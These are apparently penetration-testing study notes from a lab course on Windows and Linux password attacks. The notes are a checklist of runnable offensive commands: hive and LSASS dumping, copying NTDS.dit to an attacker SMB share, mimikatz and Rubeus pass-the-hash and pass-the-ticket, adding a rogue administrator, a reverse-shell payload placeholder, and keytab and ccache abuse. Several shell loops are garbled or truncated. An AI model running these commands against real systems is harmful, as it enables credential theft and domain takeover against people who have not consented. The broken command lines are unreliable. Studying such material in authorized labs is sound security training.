Password Attacks & Harvesting

Windows Local Password Attacks:

Attacking SAM:

- [ ] Check if the host is non domain joined, could also help to get access to a lower level domain account by dumping the `security hive` (cache)
- [ ] Need access to credentials with **local admin privileges** or the privilege of launching command prompt as an administrator
- [ ] The hives one needs to steal are below:

Registry Hive	Description
`hklm\sam`	Contains the hashes associated with local account passwords. We will need the hashes so we can crack them and get the user account passwords in cleartext.
`hklm\system`	Contains the system bootkey, which is used to encrypt the SAM database. We will need the bootkey to decrypt the SAM database.
`hklm\security`	Contains cached credentials for domain accounts. We may benefit from having this on a domain-joined Windows target.
`LSA Secrets`	LSA secrets is a special protected storage for important data used by the **Local Security Authority** (LSA) in Windows. It is primarily used to securely store credentials, such as passwords and encryption keys, for various system services and functions. They can store PC users' text passwords, service account passwords (for example, those that must be run by a certain user to perform certain tasks), Internet Explorer passwords, RAS connection passwords, SQL and CISCO passwords,

- [ ] Save the SAM file using CMD, `reg.exe save hklm\sam C:\sam.save`
- [ ] Save the SYSTEM file using CMD, `reg.exe save hklm\system C:\system.save`
- [ ] Save the SECURITY file using CMD, `reg.exe save hklm\security C:\security.save`
- [ ] Exfiltrate the hives using **SMB** server or other file transaction methods

Remotely Dumping Hives

- [ ] Dumping LSA Secrets remotely need access to credentials with **local admin privileges**, `crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --lsa`

- [ ] Dumping SAM remotely need access to credentials with **local admin privileges**, `crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --sam`

Extracting Credentials

- [ ] Dump the local sam hashes using secretsdump on the attacker's host, `python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL`
- [ ] Crack the NT hashes using **hashcat** on the attacker's host, `sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt`

Attacking LSASS:

GUI Method

- [ ] With access to an interactive graphical session with the target, task manager can be used to create a memory dump, `Open Task Manager` > `Select the Processes tab` > `Find & right click the Local Security Authority Process` > `Select Create dump file`
- [ ] A file called `lsass.DMP` is created and saved in, `C:\Users\loggedonusersdirectory\AppData\Local\Temp`

Rundll32.exe & Comsvcs.dll Method

- [ ] Finding LSASS PID in CMD, `tasklist /svc`
- [ ] Finding LSASS PID in PS, `Get-Process lsass`
- [ ] Creating lsass.dmp using PS, `rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PROCESS ID> C:\lsass.dmp full`

Extracting Credentials

- [ ] Running **Pypykatz** on attacker's host to dump lsass.dmp, `pypykatz lsa minidump /home/peter/Documents/lsass.dmp`
- [ ] Crack the NT hashes using **hashcat** on the attacker's host, `sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt`

Attacking AD & NTDS.dit:

AD Dictionary Attack

- [ ]
- [ ] Check if the host is domain joined
- [ ] Use the below convention to generate usernames:

Username Convention	Practical Example for Jane Jill Doe
`firstinitiallastname`	jdoe
`firstinitialmiddleinitiallastname`	jjdoe
`firstnamelastname`	janedoe
`firstname.lastname`	jane.doe
`lastname.firstname`	doe.jane
`nickname`	doedoehacksstuff

- [ ] Creating a custom list of usernames, `./username-anarchy -i /home/toothless/names.txt`
- [ ] Launching the dictionary attack, `crackmapexec smb 10.129.201.57 -u bwilliamson -p /usr/share/wordlists/fasttrack.txt`

Capturing NTDS.dit

- [ ] To make a copy of the NTDS.dit file, one would need local admin (`Administrators group`) or Domain Admin (`Domain Admins group`) (or equivalent) rights.
- [ ] Checking local group membership in PS, `net localgroup`
- [ ] Checking user account privileges including domain, `net user toothless`
- [ ] Creating shadow copy of C: using PS, `vssadmin CREATE SHADOW /For=C:`
- [ ] Copying NTDS.dit from the VSS, `cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit`
- [ ] Transfer the NTDS.dit on attacker's host using SMB or other methods, `cmd.exe /c move C:\NTDS\NTDS.dit \\10.10.15.30\CompData`
- [ ] Faster and remote way of capturing the NTDS.dit using crackmapexec, `crackmapexec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! --ntds`
- [ ] Crack the NT hashes using **hashcat** on the attacker's host, `sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt`
- [ ] Pass-The-Hash attack on evil-winrm using captured hash, `evil-winrm -i 10.129.201.57 -u Administrator -H "64f12cddaa88057e06a81b54e73b949b"`

Credential Hunting In Windows

- [ ] Some helpful search key terms that can be used to discover some credentials via the `Windows Search`:

Passwords	Passphrases	Keys
Username	User account	Creds
Users	Passkeys	Passphrases
configuration	dbcredential	dbpassword
pwd	Login	Credentials

- [ ] Use 3rd party tools to quickly discover credentials that web browsers or other installed applications may insecurely store in CMD, `start lazagne.exe all`
- [ ] Use **findstr** to find config files usually config files contain passwords, `findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml`
- [ ] Here are some other places we should keep in mind when credential hunting:
  - Passwords in Group Policy in the `SYSVOL` share
  - Passwords in scripts in the `SYSVOL` share
  - Password in scripts on IT shares
  - Passwords in `web.config` files on dev machines and IT shares
  - `unattend.xml`
  - Passwords in the AD user or computer description fields
  - KeePass databases --> pull hash, crack and get loads of access.
  - Found on user systems and shares
  - Files such as `pass.txt`, `passwords.docx`, `passwords.xlsx` found on user systems, shares, Sharepoint

---

Linux Local Password Attacks:

Credential Hunting in Linux:

Config & History Files

- [ ] There are several sources that can provide credentials:

`Files`	`History`	`Memory`	`Key-Rings`
Configs	Logs	Cache	Browser stored credentials
Databases	Command-line History	In-memory Processing	

Files	History	Memory	Key-Rings
Notes			
Scripts			
Source codes			
Cronjobs			
SSH Keys			

- [ ] Inspect several categories of files one by one. These categories are the following:

Configuration files	Databases
Scripts	Cronjobs
- [ ] Finding configuration files, `for l in $(echo".conf.config.cnf"); do echo -e"\nFile extension: "$l; find / -name*l 2>/dev/null	grep -v "lib|fonts|sh ;done`
- [ ] Finding credentials in configuration files, `for i in $(find / -name *.cnf 2>/dev/null	grep -v "doc|lib");do "\nFile: " $i; grep "user|password|pas 2>/dev/null
- [ ] Finding databse files, `for l in $(echo".sql.db.*db.db*"); do echo -e"\nDB File extension: "$l; find / -name* l 2>/dev/null	grep -v "doc|lib|headers|sh

- [ ] Finding notes, `find /home/* -type f -name "*.txt" -o ! -name "*.*"`
- [ ] Finding scripts, `for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done`
- [ ] Locate cronjobs, `cat /etc/crontab` OR `ls -la /etc/cron.*/` (`/etc/cron.daily`, `/etc/cron.hourly`, `/etc/cron.monthly`, `/etc/cron.weekly`)
- [ ] Locating private SSH keys, `grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"`
- [ ] Locating public SSH keys, `grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"`
- [ ] Finding history files, `tail -n5 /home/*/.bash*`

Log Files

- [ ] The entirety of log files can be divided into four categories:

Application Logs	Event Logs	Service Logs	System Logs

- [ ] Many different logs exist on the system. These can vary depending on the applications installed, but here are some of the most important ones:

Log File	Description
`/var/log/messages`	Generic system activity logs.
`/var/log/syslog`	Generic system activity logs.
`/var/log/auth.log`	(Debian) All authentication related logs.
`/var/log/secure`	(RedHat/CentOS) All authentication related logs.
`/var/log/boot.log`	Booting information.
`/var/log/dmesg`	Hardware and drivers related information and logs.
`/var/log/kern.log`	Kernel related warnings, errors and logs.
`/var/log/faillog`	Failed login attempts.
`/var/log/cron`	Information related to cron jobs.
`/var/log/mail.log`	All mail server related logs.
`/var/log/httpd`	All Apache related logs.
`/var/log/mysqld.log`	All MySQL server related logs.
- [ ] Finding log files containing interesting strings, `for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted|session opened|session closed|failure|failed|ssh|password changed|new user|delete user|sudo|COMMAND\=|logs" $i 2>/dev/null); if [[$GREP]];then echo -e "\n#### Log file: " $i; grep "accepted|session opened|session closed|failure|failed|ssh|password changed|new`	

Log File	Description
`user|delete user|sudo|COMMAND\=|logs" $i 2>/dev/null;fi;done`	

Memory and Cache

- [ ] Dumping memory, `sudo python3 mimipenguin.py`
- [ ] A powerful memory dumping tool lazagne can be used, This tool allows us to access far more resources and extract the credentials.

Wifi	Wpa_supplicant	Libsecret	Kwallet
Chromium-based	CLI	Mozilla	Thunderbird
Git	Env_variable	Grub	Fstab
AWS	Filezilla	Gftp	SSH
Apache	Shadow	Docker	KeePass
Mimipy	Sessions	Keyrings	

- [ ] Dumping memory using lazagne, `sudo python2.7 laZagne.py all`

Firefox Stored Credentials

- [ ] Firefox stored credentials, `ls -l .mozilla/firefox/ | grep default`
- [ ] Stored credentials file, `cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .`
- [ ] Decrypting firefox credentials, `python3.9 firefox_decrypt.py`
- [ ] Dumping browser credentials using lazagne, `python3 laZagne.py browsers`

Passwd, Shadow & Opasswd:

- [ ] check for writeable `/etc/passwd`, the file format:

`cry0l1t3`	`:`	`x`	`:`	`1000`	`:`	`1000`	`:`	`cry0l1t3,,,`	`:`	`/home/cry0l`
Login name		Password info(shadow file)		UID		GUID		Full name/comments		Home directo

- [ ] `/etc/shadow` file format:

`cry0l1t3`	`:`	`$6$wBRzy$...SNIP...x9cDWUxW1`	`:`	`18937`	`:`	`0`	`:`	`99999`	`:`	`7`
Username		Encrypted password format `$<type>$<salt>$<hashed>`		Last PW change		Min. PW age		Max. PW age		W p

- [ ] The file where old passwords are stored is the `/etc/security/opasswd`. Administrator/root permissions are also required to read the file, `sudo cat /etc/security/opasswd`

Cracking Linux Credentials

- [ ] Copying the `passwd` file, `sudo cp /etc/passwd /tmp/passwd.bak`
- [ ] Copying the shadow file, `sudo cp /etc/shadow /tmp/shadow.bak`
- [ ] Combine password hashes, `unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes`
- [ ] Cracking unshadowed hashes using hashcat, `hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked`
- [ ] Cracking md5 hashes using hashcat, `hashcat -m 500 -a 0 md5-hashes.list rockyou.txt`

Pass The Hash/Ticket:

Pass the Hash:

Mimikatz

Options	Description
`/user`	The user name we want to impersonate.
`/rc4` OR `/NTLM`	NTLM hash of the user's password.
`/domain`	Domain the user to impersonate belongs to. In the case of a local user account, we can use the computer name, localhost, or a dot (.).
`/run`	The program we want to run with the user's context (if not specified, it will launch cmd.exe).

- [ ] Pass the Hash from Windows CMD using Mimikatz, `mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit`

PowerShell Invoke-TheHash

- [ ] When using `Invoke-TheHash`, we have two options: **SMB** or **WMI** command execution. To use this tool, we need to specify the following parameters to execute commands in the target computer:

Options	Description
`Target`	Hostname or IP address of the target.
`Username`	Username to use for authentication.
`Domain`	Domain to use for authentication. This parameter is unnecessary with local accounts or when using the @domain after the username.
`Hash`	NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM format.
`Command`	Command to execute on the target. If a command is not specified, the function will check to see if the username and hash have access to WMI on the target.

- [ ] Import the module in PS, `Import-Module .\Invoke-TheHash.psd1`
- [ ] Invoke-TheHash using smb in PS, `Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose`
- [ ] Invoke-TheHash using WMI in PS, `Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e <POWERSHELL(3)BASE64 REVERSE SHELL PAYLOAD"`

Pass the Hash with Impacket (Linux)

- [ ] Pass the Hash with Impacket PsExec, `impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453`
- [ ] There are several other tools in the Impacket toolkit we can use for command execution using Pass the Hash attacks, such as:
  - impacket-wmiexec
  - impacket-atexec
  - impacket-smbexec

Pass the Hash with CrackMapExec (Linux)

- [ ] Pass the Hash with CrackMapExec, `crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453`

- [ ] If we want to perform the same actions but attempt to authenticate to each host in a subnet using the local administrator password hash, we could add `--local-auth` to our command. This method is helpful if we obtain a local administrator hash by dumping the local SAM database on one host and want to check how many (if any) other hosts we can access due to local admin password re-use.
- [ ] Pass the Hash command execution, `crackmapexec smb 10.129.201.126 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami`

Pass the Hash with RDP (Linux)

- [ ] Pass the Hash using xfreerdp, `xfreerdp /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B`
- [ ] `Restricted Admin Mode`, which is disabled by default, should be enabled on the target host; otherwise, you will be presented with an error. UAC (User Account Control) limits local users' ability to perform remote administration operations. When the registry key `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy` is set to 0, it means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to perform remote administration tasks. Setting it to 1 allows the other local admins as well. **Note:** There is one exception, if the registry key `FilterAdministratorToken` (disabled by default) is enabled (value 1), the RID 500 account (even if it is renamed) is enrolled in UAC protection. This means that remote PTH will fail against the machine when using that account.
- [ ] This can be enabled by adding a new registry key `DisableRestrictedAdmin` (REG_DWORD) under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa` with the value of 0. It can be done using the following command in CMD, `reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f`

Pass the Ticket (PtT) from Windows:

- [ ] **Kerberos Protocol Refresher:** The Kerberos authentication system is ticket-based. The central idea behind Kerberos is not to give an account password to every service you use. Instead, Kerberos keeps all tickets on your local system and presents each service only the specific ticket for that service, preventing a ticket from being used for another purpose.

TGT/TGS
The `TGT - Ticket Granting Ticket` is the first ticket obtained on a Kerberos system. The TGT permits the client to obtain additional Kerberos tickets or `TGS`.

TGT/TGS

The `TGS - Ticket Granting Service` is requested by users who want to use a service. These tickets allow services to verify the user's identity.

- [ ] As a non-administrative user, you can only get your tickets, but as a local administrator, you can collect everything.
- [ ] Exporting tickets using mimikatz in CMD, `mimikatz.exe` -> `mimikatz# privilege::debug` -> `mimikatz# sekurlsa::tickets /export` -> `dir *.kirbi`
- [ ] Exporting tickets using rubeus in CMD, `Rubeus.exe dump /nowrap`

Pass the Key or OverPass the Hash or Importing ticket from a hash/ekeys

- [ ] Extract current user's hash OR extract kerberos keys using mimikatz in CMD, `mimikatz.exe` -> `mimikatz# privilege::debug` -> `mimikatz# sekurlsa::ekeys`
- [ ] Generate ticket using hash via mimikatz in CMD, `mimikatz.exe` -> `mimikatz# privilege::debug` -> `mimikatz# sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f`
- [ ] To forge a ticket using `Rubeus`, we can use the module `asktgt` with the username, domain, and hash which can be `/rc4`(ntlm), `/aes128`, `/aes256`, or `/des`. In the following example, we use the aes256 hash from the information we collect using Mimikatz `sekurlsa::ekeys` in CMD, `Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap`
- [ ] Instead, we could use the flag `/ptt` to submit the ticket (TGT or TGS) to the current logon session i CMD, `Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:<NTLM HASH> /ptt`
- [ ] Import the `.kirbi` ticket using Rubeus, `Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi`
- [ ] Convert `.kirbi` to `base64` in PS, `[Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))`
- [ ] Import ticket from `base64`, `Rubeus.exe ptt /ticket:<BASE64 TICKET>`
- [ ] Importing the ticket using mimikatz in CMD, `mimikatz.exe` -> `mimikatz# privilege::debug` -> `mimikatz# kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"`
- [ ] **Note:** Instead of opening mimikatz.exe with cmd.exe and exiting to get the ticket into the current command prompt, we can use the Mimikatz module `misc` to launch a new command prompt window with the imported ticket using the `misc::cmd` command.

PowerShell Remoting with Pass the Ticket

- [ ] First import the ticket using mimikatz/rubeus by following the above mentioned processes
- [ ] Start the PS-Session using in CMD, `Enter-PSSession -ComputerName DC01`

Pass the Ticket (PtT) from Linux

- [ ] Check if a linux machine is domain joined, `realm list`
- [ ] Check if a linux machine is domain joined by checking the running processes, `ps -ef | grep -i "winbind|sssd"``
- [ ] Find keytab(Kerberos based ticket) files, `find / -name *keytab* -ls 2>/dev/null`
- [ ] **Note:** To use a keytab file, we must have read and write (rw) privileges on the file.
- [ ] Find `keytab` files is in automated scripts configured using a cronjob or any other Linux services, `crontab -l`
- [ ] Find cache files, `env | grep -i krb5`
- [ ] Find cache files in the tmp directory, `ls -la /tmp`
- [ ] Listing keytab files, `klist -k -t`

Impersonating a User with a keytab

- [ ] List for available kerberos tickets, `klist`
- [ ] Import a keytab file using kinit, `kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab`
- [ ] List for the imported ticket, `klist`
- [ ] Connect to a smb share using the ticket, `smbclient //dc01/carlos -k -c ls`

Extracting Keytab Hashes with KeyTabExtract

- [ ] Extracting keytab hashes, `python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab`
- [ ] With the NTLM hash, we can perform a Pass the Hash attack. With the AES256 or AES128 hash, we can forge our tickets using Rubeus or attempt to crack the hashes to obtain the plaintext password.
- [ ] A keyptab file can contain different types of hashes and can be merged to contain multiple credentials even from different users.

Abusing Keytab ccache

- [ ] To abuse a ccache file, all we need is read privileges on the file. These files, located in `/tmp`, can only be read by the user who created them, but if we gain root access, we could use them.
- [ ] Gain root user's privilege
- [ ] Import the ccache file into current session, `export KRB5CCNAME=/tmp/krb5cc_647401106_I8I133`
- [ ] Connect to the SMB share as our impersonated user, `smbclient //dc01/C$ -k -c ls -no-pass`

Misc

- [ ] Gaining code execution using linux kerberos ticket, `impacket-wmiexec dc01 -k`
- [ ] Download the below package for using evil-winrm with kerberos, `sudo apt-get install krb5-user -y`
- [ ] Configure the kerberos config file, `cat /etc/krb5.conf`
- [ ] Use evil-winrm with kerberos, `evil-winrm -i dc01 -r inlanefreight.htb`
- [ ] Convert the keytab or ccache file into windows `.kirbi` file using impacket utility, `impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi`
- [ ] Import the kirbi file into windows session, `C:\tools\Rubeus.exe ptt /ticket:c:\tools\julio.kirbi`
- [ ] Just like `Mimikatz`, to take advantage of `Linikatz`, we need to be root on the machine. This tool will extract all credentials, including Kerberos tickets, from different Kerberos implementations such as FreeIPA, SSSD, Samba, Vintella, etc.

Cracking Files:

Protected Files:

- [ ] Hunt for different files on the host, `for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done`
- [ ] Generate a hash based on the files using john tools
- [ ] Crack the hash using johntheripper

Protected Archives:

- [ ] There are many types of archive files. Some common file extensions include, but are not limited to:

`tar`	`gz`	`rar`	`zip`
`vmdb/vmx`	`cpt`	`truecrypt`	`bitlocker`
`kdbx`	`luks`	`deb`	`7z`
`pkg`	`rpm`	`war`	`gzip`

- [ ] Download all file extensions, `curl -s https://fileinfo.com/filetypes/compressed | html2text | awk '{print tolower($1)}' | grep "\." | tee -a compressed_ext.txt`
- [ ] Generate a hash based on the files using john tools
- [ ] Crack the hash using johntheripper
- [ ] The safest choice for success is to use the `openssl` tool in a `for-loop` that tries to extract the files from the archive directly if the password is guessed correctly, `for i in $(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in GZIP.gzip -k $i 2>/dev/null| tar xz;done`